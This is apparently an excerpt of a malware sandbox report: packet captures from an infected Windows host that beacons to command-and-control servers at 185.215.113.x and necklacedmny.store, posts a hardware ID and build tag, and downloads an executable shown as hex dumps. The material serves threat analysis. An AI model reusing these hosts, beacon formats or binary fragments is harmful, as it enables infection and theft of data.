Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL"g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 31, 2024 02:09:49.011136055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 31, 2024 02:09:49.011147976 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 31, 2024 02:09:49.011181116 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 31, 2024 02:09:49.011264086 CET	648	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 31, 2024 02:09:49.011275053 CET	1236	IN	Data Raw: 7b 00 00 b9 6c 15 4d 00 e8 16 8d 00 00 85 c0 0f 85 c7 06 04 00 8b 47 04 33 c9 83 fe 2b 0f 94 c1 8b 44 88 08 66 83 78 08 47 75 42 8d 41 03 89 45 f8 8d 45 fc 53 50 8d 45 e8 50 8d 45 f8 50 57 e8 1b 44 00 00 85 c0 0f 88 a2 06 04 00 8d 4d e8 e8 6e 77 Data Ascii: {lMG3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM
Oct 31, 2024 02:09:49.011286020 CET	1236	IN	Data Raw: ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 f9 01 00 00 8d 4d a8 e8 f1 01 00 00 8d 8d 54 ff ff ff e8 e6 01 00 00 8d 4d 9c e8 de Data Ascii: u3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE
Oct 31, 2024 02:09:49.011298895 CET	1236	IN	Data Raw: ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 68 18 14 4d 00 8b ce e8 2c 03 00 00 84 c0 0f 84 b1 00 04 00 a0 90 23 4d 00 a2 04 14 Data Ascii: IM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD
Oct 31, 2024 02:09:49.011321068 CET	1236	IN	Data Raw: 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 a5 1a 02 00 59 59 85 c0 0f 84 99 fd 03 00 57 68 dc c9 49 00 e8 90 1a 02 00 59 59 85 Data Ascii: }WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?
Oct 31, 2024 02:09:49.011334896 CET	1236	IN	Data Raw: 00 8b 1e 8d 04 3f 50 8b 46 04 ff 75 08 8d 04 43 50 e8 ed d9 01 00 01 7e 04 83 c4 0c 8b 06 33 d2 8b 4e 04 5f 66 89 14 48 8b c6 5e 5b 5d c2 08 00 55 8b ec 83 e4 f8 b8 3c 00 01 00 e8 f3 ea 03 00 8b 45 08 8d 4c 24 1c 53 33 db a3 94 23 4d 00 56 b8 34 Data Ascii: ?PFuCP~3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfN
Oct 31, 2024 02:09:49.016077042 CET	1236	IN	Data Raw: 24 89 07 80 3d 68 13 4d 00 01 8d 44 24 10 50 0f 84 80 fa 03 00 6a 00 ff 15 d0 c4 49 00 c6 05 68 13 4d 00 01 8b ce e8 07 00 00 00 5f 5e 5b 8b e5 5d c3 55 8b ec 83 e4 f8 81 ec cc 04 00 00 80 3d 68 13 4d 00 00 56 8b f1 0f 84 d4 00 00 00 68 04 01 00 Data Ascii: $=hMD$PjIhM_^[]U=hMVhL$#)=gM93fD$D$PL$1=eMM~`'hML$)$(VjPML$$T$$3F$$ h$(2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50007	185.215.113.206	80	5628	C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:48.124823093 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 02:09:49.028013945 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 02:09:49.030348063 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 32 32 33 31 34 34 46 34 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="hwid"9C223144F49B3566182515------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="build"tale------GIJDGCAEBFIIECAKFHIJ--
Oct 31, 2024 02:09:49.311933041 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50011	185.215.113.43	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:54.858778000 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002757001&unit=246122658369
Oct 31, 2024 02:09:55.762650013 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50013	185.215.113.16	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:56.001890898 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 02:09:56.885658979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:56 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 31, 2024 02:09:56.885694027 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE
Oct 31, 2024 02:09:56.885770082 CET	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hj
Oct 31, 2024 02:09:56.885801077 CET	212	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 00 e1 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 e6 95 01 00 8d 8d 04 fc ff ff e8 db 95 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 ae Data Ascii: jRAM]UQMM\|MHM<M0M]UQMEPMM0QM0U<RM<EHPMHMUB
Oct 31, 2024 02:09:56.885854006 CET	1236	IN	Data Raw: 54 89 41 54 8b 4d fc 8b 55 08 8b 42 58 89 41 58 8b 4d fc 8b 55 08 8b 42 5c 89 41 5c 8b 4d fc 8b 55 08 8b 42 60 89 41 60 8b 4d fc 8b 55 08 8b 42 64 89 41 64 8b 4d fc 8b 55 08 8b 42 68 89 41 68 8b 4d fc 8b 55 08 8b 42 6c 89 41 6c 8b 4d fc 8b 55 08 Data Ascii: TATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|ME]UQMM$MMxMp]UQMEPMMQM
Oct 31, 2024 02:09:56.885890007 CET	1236	IN	Data Raw: fd ff ff e8 53 90 01 00 8d 8d a8 fd ff ff e8 48 90 01 00 8d 8d b4 fd ff ff e8 3d 90 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd ff ff 50 68 7c 57 42 00 8d 8d 3c fd ff ff 51 8d 55 08 52 8d 85 48 fd ff ff 50 68 d4 56 42 00 8d 8d 54 fd ff Data Ascii: SH=R0Ph\|WB<QURHPhVBTQUR`PPi0<HT`R!sh#B
Oct 31, 2024 02:09:56.885945082 CET	1236	IN	Data Raw: 83 f3 ff ff 81 c4 88 00 00 00 8d 4d 08 e8 b5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 98 73 6d 00 8b 0d 98 73 6d 00 c7 01 01 00 00 00 8b 55 0c c1 ea 0c a1 98 73 6d 00 89 50 04 8b 0d 98 73 6d 00 c7 41 08 00 00 00 00 8b 15 98 73 6d 00 c7 42 0c Data Ascii: M]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UU
Oct 31, 2024 02:09:56.885978937 CET	636	IN	Data Raw: 83 c4 0c a3 e8 6c 6d 00 6a 10 68 70 1e 42 00 68 84 1e 42 00 e8 9a 21 00 00 83 c4 0c a3 0c 70 6d 00 6a 08 68 98 1e 42 00 68 a4 1e 42 00 e8 81 21 00 00 83 c4 0c a3 b0 6a 6d 00 6a 0e 68 b0 1e 42 00 68 c0 1e 42 00 e8 68 21 00 00 83 c4 0c a3 98 6f 6d Data Ascii: lmjhpBhB!pmjhBhB!jmjhBhBh!omjhBhBO!$lmjhBhB6!nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjhBh
Oct 31, 2024 02:09:56.886015892 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a 16 68 40 21 42 00 68 58 21 42 00 e8 0c 1f 00 00 83 c4 0c a3 b4 6f 6d 00 c7 05 c4 6c 6d 00 00 00 00 00 6a 07 68 70 21 42 00 68 78 21 42 00 e8 e9 1e 00 00 83 c4 0c a3 Data Ascii: Ujh@!BhX!Bomlmjhp!Bhx!B\|nmjh!Bh!B@nmjhBhBomomlmjhBhBomjhBhBqomjhBhBXmmom
Oct 31, 2024 02:09:56.886070967 CET	1236	IN	Data Raw: 42 00 e8 5c 1a 00 00 83 c4 0c a3 20 6e 6d 00 6a 09 68 b0 26 42 00 68 bc 26 42 00 e8 43 1a 00 00 83 c4 0c a3 68 6d 6d 00 6a 13 68 c8 26 42 00 68 dc 26 42 00 e8 2a 1a 00 00 83 c4 0c a3 68 6f 6d 00 6a 0a 68 f0 26 42 00 68 fc 26 42 00 e8 11 1a 00 00 Data Ascii: B\ nmjh&Bh&BChmmjh&Bh&B*homjh&Bh&Blmjh'Bh'Bmmjh0'Bh<'BmmjhH'BhT'Bnmjh`'Bht'Bjmjh'Bh'Bkmjh'Bh'B{Lmmjh
Oct 31, 2024 02:09:56.891083002 CET	1236	IN	Data Raw: bc 6e 6d 00 6a 10 68 68 2d 42 00 68 7c 2d 42 00 e8 7a 15 00 00 83 c4 0c a3 78 6e 6d 00 6a 0d 68 90 2d 42 00 68 a0 2d 42 00 e8 61 15 00 00 83 c4 0c a3 18 6c 6d 00 6a 0d 68 b0 2d 42 00 68 c0 2d 42 00 e8 48 15 00 00 83 c4 0c a3 7c 6f 6d 00 6a 0b 68 Data Ascii: nmjhh-Bh\|-Bzxnmjh-Bh-Balmjh-Bh-BH\|omjh-Bh-B/kmjh-Bh-B@pmjh.Bh .Bkmjh8.BhL.Bmmjh`.Bht.B\lmjh.Bh.B8mmjh.Bh.B

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	50025	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:10:08.190706968 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 02:10:09.105578899 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 02:10:09.212419033 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGID Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 32 32 33 31 34 34 46 34 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 2d 2d 0d 0a Data Ascii: ------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="hwid"9C223144F49B3566182515------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="build"tale------HJJEGIEHIJKKFIDHDGID--
Oct 31, 2024 02:10:09.501833916 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	50026	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:10:15.895845890 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 02:10:16.760349989 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 02:10:16.927781105 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 32 32 33 31 34 34 46 34 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="hwid"9C223144F49B3566182515------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="build"tale------FIECBFIDGDAKFHIEHJKF--
Oct 31, 2024 02:10:17.213218927 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	50030	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:10:29.815368891 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 02:10:30.724567890 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 02:10:30.896059990 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 32 32 33 31 34 34 46 34 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="hwid"9C223144F49B3566182515------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="build"tale------GIJJKKJJDAAAAAKFHJJD--
Oct 31, 2024 02:10:31.181641102 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.97.3	443	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:07:59 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 01:07:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 01:08:00 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dnun6m03g6d12egar2raiaott3; expires=Sun, 23-Feb-2025 18:54:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S7j7v1DYRVejGyQGfI9BN7XMauudQl9s2Pune%2FM3urY6zOYZud%2Fl0Ob49DUpeW2AX4%2BqziTlTP%2Fi4mpcNKagMY%2BSYuCJ%2BFL5w47zu5yL8asLF%2FOXlSA6SjinbJjQZR%2FYTtxPjxI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc059ec8bb78f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14436&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=421358&cwnd=43&unsent_bytes=0&cid=0cb44d1852afe60d&ts=623&x=0"
2024-10-31 01:08:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 01:08:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.97.3	443	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:08:00 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 01:08:00 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 01:08:01 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s0cg44p3n3jqtoq993k7tnm830; expires=Sun, 23-Feb-2025 18:54:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zw37mArP9QDKlf6HLlPV68HRqbo315qi7Tb%2BTo1xGZ6Ad%2BQwIzEc2CNjCApCCbH6KWvnBZn1f26GBRArr0e59Wf%2FLjV%2F8IfYSwxPtekP3DCijNzk4q88Bz0%2B0zP75jspPjdWoYA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc0615ae72e69-DFW alt-svc: h3=":443"; ma=86400 server-timing: 